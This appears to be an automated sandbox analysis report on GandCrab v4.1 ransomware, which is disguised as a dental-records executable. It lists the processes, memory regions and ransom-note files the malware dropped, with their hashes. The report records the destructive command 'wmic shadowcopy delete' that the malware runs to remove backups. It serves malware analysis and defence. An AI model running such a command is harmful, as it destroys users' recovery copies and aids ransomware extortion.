Gandcrab Ransomware v4.1 | Grouped Behavior
Logo
Try VMRay Analyzer
VTI SCORE: 100/100
Target: win10_64 | exe
Classification: Trojan, Downloader, Ransomware

8ecbfe6f52ae98b5c9e406459804c4ba7f110e71716ebf05015a3a99c995baa1 (SHA256)

Jeremy Witt's Dental Records.exe

Windows Exe (x86-32)

Created at 2018-07-05 13:44:00

...

Notifications (2/2)

Due to a reputation service error, no query could be made to determine the reputation status of any contacted URL.

Some extracted files may be missing in the report since the maximum number of extracted files was reached during the analysis. You can increase the limit in the configuration settings.

Grouped Sequential

Monitored Processes

Process Graph

Process Graph Legend
Process Overview
»
ID PID Monitor Reason Integrity Level Image Name Command Line Origin ID
#1 0xe14 Analysis Target High (Elevated) jeremy witt's dental records.exe "C:\Users\CIiHmnxMn6Ps\Desktop\Jeremy Witt's Dental Records.exe" -
#2 0x134 Child Process High (Elevated) wmic.exe "C:\Windows\system32\wbem\wmic.exe" shadowcopy delete #1

Behavior Information - Grouped by Category

Process #1: jeremy witt's dental records.exe
6240 2807
»
Information Value
ID #1
File Name c:\users\ciihmnxmn6ps\desktop\jeremy witt's dental records.exe
Command Line "C:\Users\CIiHmnxMn6Ps\Desktop\Jeremy Witt's Dental Records.exe"
Initial Working Directory C:\Users\CIiHmnxMn6Ps\Desktop\
Monitor Start Time: 00:00:28, Reason: Analysis Target
Unmonitor End Time: 00:02:30, Reason: Terminated by Timeout
Monitor Duration 00:02:02
OS Process Information
»
Information Value
PID 0xe14
Parent PID 0x5dc (c:\windows\explorer.exe)
Is Created or Modified Executable True
Integrity Level High (Elevated)
Username LHNIWSJ\CIiHmnxMn6Ps
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x E18
0x E1C
0x E20
0x E24
0x E28
0x E2C
0x E30
0x E34
0x F80
0x FA4
0x FB4
0x FD8
0x FDC
0x B30
Region
»
Name Start VA End VA Type Permissions Monitored Dumped YARA Actions
jeremy witt's dental records.exe 0x00890000 0x008b2fff Memory Mapped File Readable, Writable, Executable True True False
...
private_0x0000000000c40000 0x00c40000 0x00c5ffff Private Memory Readable, Writable True False False -
pagefile_0x0000000000c40000 0x00c40000 0x00c4ffff Pagefile Backed Memory Readable, Writable True False False -
private_0x0000000000c50000 0x00c50000 0x00c53fff Private Memory Readable, Writable True False False -
private_0x0000000000c60000 0x00c60000 0x00c61fff Private Memory Readable, Writable True False False -
private_0x0000000000c60000 0x00c60000 0x00c60fff Private Memory Readable, Writable True False False -
pagefile_0x0000000000c70000 0x00c70000 0x00c83fff Pagefile Backed Memory Readable True False False -
private_0x0000000000c90000 0x00c90000 0x00ccffff Private Memory Readable, Writable True False False -
private_0x0000000000cd0000 0x00cd0000 0x00dcffff Private Memory Readable, Writable True False False -
pagefile_0x0000000000dd0000 0x00dd0000 0x00dd3fff Pagefile Backed Memory Readable True False False -
pagefile_0x0000000000de0000 0x00de0000 0x00de0fff Pagefile Backed Memory Readable True False False -
private_0x0000000000df0000 0x00df0000 0x00df1fff Private Memory Readable, Writable True False False -
private_0x0000000000e00000 0x00e00000 0x00e00fff Private Memory Readable, Writable True False False -
private_0x0000000000e10000 0x00e10000 0x00e1ffff Private Memory Readable, Writable True False False -
private_0x0000000000e10000 0x00e10000 0x00e25fff Private Memory Readable, Writable True False False -
private_0x0000000000e10000 0x00e10000 0x00e10fff Private Memory Readable, Writable True False False -
pagefile_0x0000000000e20000 0x00e20000 0x00e28fff Pagefile Backed Memory Readable, Writable True False False -
pagefile_0x0000000000e20000 0x00e20000 0x00e20fff Pagefile Backed Memory Readable, Writable True False False -
private_0x0000000000e30000 0x00e30000 0x00e3ffff Private Memory Readable, Writable True False False -
locale.nls 0x00e40000 0x00efdfff Memory Mapped File Readable False False False -
private_0x0000000000f00000 0x00f00000 0x00f3ffff Private Memory Readable, Writable True False False -
pagefile_0x0000000000f40000 0x00f40000 0x00f48fff Pagefile Backed Memory Readable, Writable True False False -
private_0x0000000000f40000 0x00f40000 0x00f40fff Private Memory Readable, Writable True False False -
private_0x0000000000f50000 0x00f50000 0x00f50fff Private Memory Readable, Writable True False False -
private_0x0000000000f60000 0x00f60000 0x0105ffff Private Memory Readable, Writable True False False -
private_0x0000000001060000 0x01060000 0x0115ffff Private Memory Readable, Writable True False False -
pagefile_0x0000000001160000 0x01160000 0x012e7fff Pagefile Backed Memory Readable True False False -
private_0x00000000012f0000 0x012f0000 0x012f0fff Private Memory Readable, Writable True False False -
private_0x0000000001300000 0x01300000 0x01300fff Private Memory Readable, Writable True False False -
private_0x0000000001310000 0x01310000 0x01310fff Private Memory Readable, Writable True False False -
private_0x0000000001320000 0x01320000 0x01320fff Private Memory Readable, Writable True False False -
private_0x0000000001330000 0x01330000 0x01330fff Private Memory Readable, Writable True False False -
private_0x0000000001340000 0x01340000 0x0134ffff Private Memory Readable, Writable True False False -
pagefile_0x0000000001350000 0x01350000 0x014d0fff Pagefile Backed Memory Readable True False False -
pagefile_0x00000000014e0000 0x014e0000 0x028dffff Pagefile Backed Memory Readable True False False -
private_0x00000000028e0000 0x028e0000 0x029dffff Private Memory Readable, Writable True False False -
sortdefault.nls 0x029e0000 0x02d16fff Memory Mapped File Readable False False False -
private_0x0000000002d20000 0x02d20000 0x02d20fff Private Memory Readable, Writable True False False -
private_0x0000000002d30000 0x02d30000 0x02d30fff Private Memory Readable, Writable True False False -
private_0x0000000002d40000 0x02d40000 0x02d4ffff Private Memory Readable, Writable True False False -
private_0x0000000002d40000 0x02d40000 0x02d55fff Private Memory Readable, Writable True False False -
pagefile_0x0000000002d40000 0x02d40000 0x02d48fff Pagefile Backed Memory Readable, Writable True False False -
private_0x0000000002d40000 0x02d40000 0x02d40fff Private Memory Readable, Writable True False False -
private_0x0000000002d50000 0x02d50000 0x02d50fff Private Memory Readable, Writable, Executable True False False -
private_0x0000000002d50000 0x02d50000 0x02d8ffff Private Memory Readable, Writable True False False -
pagefile_0x0000000002d60000 0x02d60000 0x02d68fff Pagefile Backed Memory Readable, Writable True False False -
private_0x0000000002d90000 0x02d90000 0x02e8ffff Private Memory Readable, Writable True False False -
private_0x0000000002e90000 0x02e90000 0x02e90fff Private Memory Readable, Writable True False False -
private_0x0000000002ea0000 0x02ea0000 0x02ea0fff Private Memory Readable, Writable True False False -
ole32.dll 0x02eb0000 0x02f98fff Memory Mapped File Readable False False False -
counters.dat 0x02eb0000 0x02eb0fff Memory Mapped File Readable, Writable True True False
...
crypt32.dll 0x02ec0000 0x03034fff Memory Mapped File Readable False False False -
private_0x0000000002ec0000 0x02ec0000 0x02ec0fff Private Memory Readable, Writable True False False -
private_0x0000000002ed0000 0x02ed0000 0x02ed0fff Private Memory Readable, Writable, Executable True False False -
private_0x0000000002ee0000 0x02ee0000 0x02ee1fff Private Memory Readable, Writable True False False -
private_0x0000000002ef0000 0x02ef0000 0x02ef0fff Private Memory Readable, Writable True False False -
normidna.nls 0x02f00000 0x02f11fff Memory Mapped File Readable False False False -
private_0x0000000002f20000 0x02f20000 0x02f20fff Private Memory Readable, Writable, Executable True False False -
private_0x0000000002f20000 0x02f20000 0x02f21fff Private Memory Readable, Writable True False False -
private_0x0000000002f30000 0x02f30000 0x02f6ffff Private Memory Readable, Writable True False False -
private_0x0000000002f70000 0x02f70000 0x02f70fff Private Memory Readable, Writable True False False -
private_0x0000000002f80000 0x02f80000 0x02fbffff Private Memory Readable, Writable True False False -
private_0x0000000002fc0000 0x02fc0000 0x02ffffff Private Memory Readable, Writable True False False -
private_0x0000000003000000 0x03000000 0x03000fff Private Memory Readable, Writable True False False -
private_0x0000000003010000 0x03010000 0x03011fff Private Memory Readable, Writable True False False -
private_0x0000000003020000 0x03020000 0x03020fff Private Memory Readable, Writable True False False -
private_0x0000000003030000 0x03030000 0x03030fff Private Memory Readable, Writable, Executable True False False -
crypt32.dll.mui 0x03040000 0x03049fff Memory Mapped File Readable False False False -
private_0x0000000003040000 0x03040000 0x03040fff Private Memory Readable, Writable True False False -
private_0x0000000003050000 0x03050000 0x0308ffff Private Memory Readable, Writable True False False -
private_0x0000000003090000 0x03090000 0x0318ffff Private Memory Readable, Writable True False False -
private_0x0000000003190000 0x03190000 0x0328ffff Private Memory Readable, Writable True False False -
private_0x0000000003290000 0x03290000 0x0338ffff Private Memory Readable, Writable True False False -
private_0x0000000003390000 0x03390000 0x0348ffff Private Memory Readable, Writable True False False -
private_0x0000000003490000 0x03490000 0x034cffff Private Memory Readable, Writable True False False -
private_0x00000000034d0000 0x034d0000 0x035cffff Private Memory Readable, Writable True False False -
mpr.dll.mui 0x035d0000 0x035d0fff Memory Mapped File Readable False False False -
private_0x00000000035e0000 0x035e0000 0x035e0fff Private Memory Readable, Writable, Executable True False False -
private_0x00000000035e0000 0x035e0000 0x036e0fff Private Memory Readable, Writable True False False -
private_0x00000000036f0000 0x036f0000 0x037f0fff Private Memory Readable, Writable True False False -
pagefile_0x0000000003800000 0x03800000 0x03800fff Pagefile Backed Memory Readable, Writable True False False -
private_0x0000000003810000 0x03810000 0x03811fff Private Memory Readable, Writable True False False -
private_0x0000000003820000 0x03820000 0x03823fff Private Memory Readable, Writable True False False -
pagefile_0x0000000003830000 0x03830000 0x03831fff Pagefile Backed Memory Readable True False False -
wow64.dll 0x59300000 0x5934efff Memory Mapped File Readable, Writable, Executable False False False -
wow64cpu.dll 0x59350000 0x59357fff Memory Mapped File Readable, Writable, Executable False False False -
wow64win.dll 0x59360000 0x593d2fff Memory Mapped File Readable, Writable, Executable False False False -
wkscli.dll 0x741a0000 0x741affff Memory Mapped File Readable, Writable, Executable False False False -
fwpuclnt.dll 0x741b0000 0x741f5fff Memory Mapped File Readable, Writable, Executable False False False -
rasadhlp.dll 0x74200000 0x74207fff Memory Mapped File Readable, Writable, Executable False False False -
davhlpr.dll 0x74210000 0x7421afff Memory Mapped File Readable, Writable, Executable False False False -
davclnt.dll 0x74220000 0x74239fff Memory Mapped File Readable, Writable, Executable False False False -
urlmon.dll 0x74240000 0x7439ffff Memory Mapped File Readable, Writable, Executable False False False -
ntlanman.dll 0x743a0000 0x743b1fff Memory Mapped File Readable, Writable, Executable False False False -
winsta.dll 0x743c0000 0x74403fff Memory Mapped File Readable, Writable, Executable False False False -
drprov.dll 0x74410000 0x74418fff Memory Mapped File Readable, Writable, Executable False False False -
dnsapi.dll 0x74420000 0x744a3fff Memory Mapped File Readable, Writable, Executable False False False -
mswsock.dll 0x744b0000 0x744fdfff Memory Mapped File Readable, Writable, Executable False False False -
winhttp.dll 0x74500000 0x745a6fff Memory Mapped File Readable, Writable, Executable False False False -
winnsi.dll 0x745b0000 0x745b7fff Memory Mapped File Readable, Writable, Executable False False False -
iphlpapi.dll 0x745c0000 0x745effff Memory Mapped File Readable, Writable, Executable False False False -
ondemandconnroutehelper.dll 0x745f0000 0x74600fff Memory Mapped File Readable, Writable, Executable False False False -
rsaenh.dll 0x74610000 0x7463efff Memory Mapped File Readable, Writable, Executable False False False -
iertutil.dll 0x74640000 0x74900fff Memory Mapped File Readable, Writable, Executable False False False -
bcrypt.dll 0x74910000 0x7492afff Memory Mapped File Readable, Writable, Executable False False False -
cryptsp.dll 0x74930000 0x74942fff Memory Mapped File Readable, Writable, Executable False False False -
wininet.dll 0x74950000 0x74b73fff Memory Mapped File Readable, Writable, Executable False False False -
mpr.dll 0x74b80000 0x74b96fff Memory Mapped File Readable, Writable, Executable False False False -
apphelp.dll 0x74c40000 0x74cd0fff Memory Mapped File Readable, Writable, Executable False False False -
bcryptprimitives.dll 0x74ce0000 0x74d38fff Memory Mapped File Readable, Writable, Executable False False False -
cryptbase.dll 0x74d40000 0x74d49fff Memory Mapped File Readable, Writable, Executable False False False -
sspicli.dll 0x74d50000 0x74d6dfff Memory Mapped File Readable, Writable, Executable False False False -
user32.dll 0x74d70000 0x74eaffff Memory Mapped File Readable, Writable, Executable False False False -
profapi.dll 0x75070000 0x7507efff Memory Mapped File Readable, Writable, Executable False False False -
shlwapi.dll 0x75080000 0x750c3fff Memory Mapped File Readable, Writable, Executable False False False -
windows.storage.dll 0x750d0000 0x755acfff Memory Mapped File Readable, Writable, Executable False False False -
shell32.dll 0x755b0000 0x7696efff Memory Mapped File Readable, Writable, Executable False False False -
kernelbase.dll 0x76970000 0x76ae5fff Memory Mapped File Readable, Writable, Executable False False False -
gdi32.dll 0x76ca0000 0x76decfff Memory Mapped File Readable, Writable, Executable False False False -
kernel.appcore.dll 0x76f60000 0x76f6bfff Memory Mapped File Readable, Writable, Executable False False False -
msctf.dll 0x76f70000 0x7708ffff Memory Mapped File Readable, Writable, Executable False False False -
combase.dll 0x77090000 0x77249fff Memory Mapped File Readable, Writable, Executable False False False -
sechost.dll 0x77250000 0x77292fff Memory Mapped File Readable, Writable, Executable False False False -
imm32.dll 0x775e0000 0x7760afff Memory Mapped File Readable, Writable, Executable False False False -
kernel32.dll 0x77670000 0x7775ffff Memory Mapped File Readable, Writable, Executable False False False -
powrprof.dll 0x777f0000 0x77833fff Memory Mapped File Readable, Writable, Executable False False False -
shcore.dll 0x778a0000 0x7792cfff Memory Mapped File Readable, Writable, Executable False False False -
ws2_32.dll 0x77930000 0x7798bfff Memory Mapped File Readable, Writable, Executable False False False -
advapi32.dll 0x77990000 0x77a0afff Memory Mapped File Readable, Writable, Executable False False False -
msvcrt.dll 0x77a10000 0x77acdfff Memory Mapped File Readable, Writable, Executable False False False -
nsi.dll 0x77ad0000 0x77ad6fff Memory Mapped File Readable, Writable, Executable False False False -
rpcrt4.dll 0x77af0000 0x77b9bfff Memory Mapped File Readable, Writable, Executable False False False -
oleaut32.dll 0x77ba0000 0x77c31fff Memory Mapped File Readable, Writable, Executable False False False -
ntdll.dll 0x77c40000 0x77db8fff Memory Mapped File Readable, Writable, Executable False False False -
private_0x000000007f6f1000 0x7f6f1000 0x7f6f3fff Private Memory Readable, Writable True False False -
private_0x000000007f6f4000 0x7f6f4000 0x7f6f6fff Private Memory Readable, Writable True False False -
private_0x000000007f6f7000 0x7f6f7000 0x7f6f9fff Private Memory Readable, Writable True False False -
private_0x000000007f6fa000 0x7f6fa000 0x7f6fcfff Private Memory Readable, Writable True False False -
private_0x000000007f6fd000 0x7f6fd000 0x7f6fffff Private Memory Readable, Writable True False False -
pagefile_0x000000007f700000 0x7f700000 0x7f7fffff Pagefile Backed Memory Readable True False False -
pagefile_0x000000007f800000 0x7f800000 0x7f822fff Pagefile Backed Memory Readable True False False -
private_0x000000007f825000 0x7f825000 0x7f825fff Private Memory Readable, Writable True False False -
private_0x000000007f826000 0x7f826000 0x7f828fff Private Memory Readable, Writable True False False -
private_0x000000007f829000 0x7f829000 0x7f829fff Private Memory Readable, Writable True False False -
private_0x000000007f82a000 0x7f82a000 0x7f82cfff Private Memory Readable, Writable True False False -
private_0x000000007f82d000 0x7f82d000 0x7f82ffff Private Memory Readable, Writable True False False -
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False -
private_0x000000007fff0000 0x7fff0000 0x7ffc03e6ffff Private Memory Readable True False False -
ntdll.dll 0x7ffc03e70000 0x7ffc04031fff Memory Mapped File Readable, Writable, Executable False False False -
private_0x00007ffc04032000 0x7ffc04032000 0x7ffffffeffff Private Memory Readable True False False -
For performance reasons, the remaining 81 entries are omitted.
The remaining entries can be found in flog.txt.
Created Files
»
Filename File Size Hash Values YARA Match Actions
c:\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\$recycle.bin\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\$recycle.bin\s-1-5-18\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\$recycle.bin\s-1-5-21-1462094071-1423818996-289466292-1000\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\perflogs\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\program files\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\program files (x86)\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\recovery\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\recovery\windowsre\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\acrobat\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\acrobat\dc\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\acrobat\dc\collab\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\acrobat\dc\forms\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\acrobat\dc\jscache\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\acrobat\dc\security\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\acrobat\dc\security\crlcache\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\flash player\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\flash player\assetcache\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\flash player\assetcache\nahqnpmn\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\flash player\nativecache\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\headlights\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\linguistics\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\logtransport2\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\logtransport2\logs\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\sonar\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\sonar\sonar1.0\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\identities\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\identities\{ca8ca1bb-f2a6-4e9c-b7cc-fb56671763e8}\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\macromedia\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\macromedia\flash player\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\macromedia\flash player\#sharedobjects\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\macromedia\flash player\#sharedobjects\dqqhjz8c\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\macromedia\flash player\macromedia.com\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\macromedia\flash player\macromedia.com\support\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\macromedia\flash player\macromedia.com\support\flashplayer\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\macromedia\flash player\macromedia.com\support\flashplayer\sys\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\access\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\addins\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\bibliography\krab-decrypt.txt 7.86 KB MD5: 87d25f04f055a446f937a3402cc19726
SHA1: e4ce2482650eac32101d68edbd1ef281d4c54a18
SHA256: d3781c6e169c987fe954147c5bfbe4d1f5b6650fc4be0b8614c74c7b98f68635 		False
...
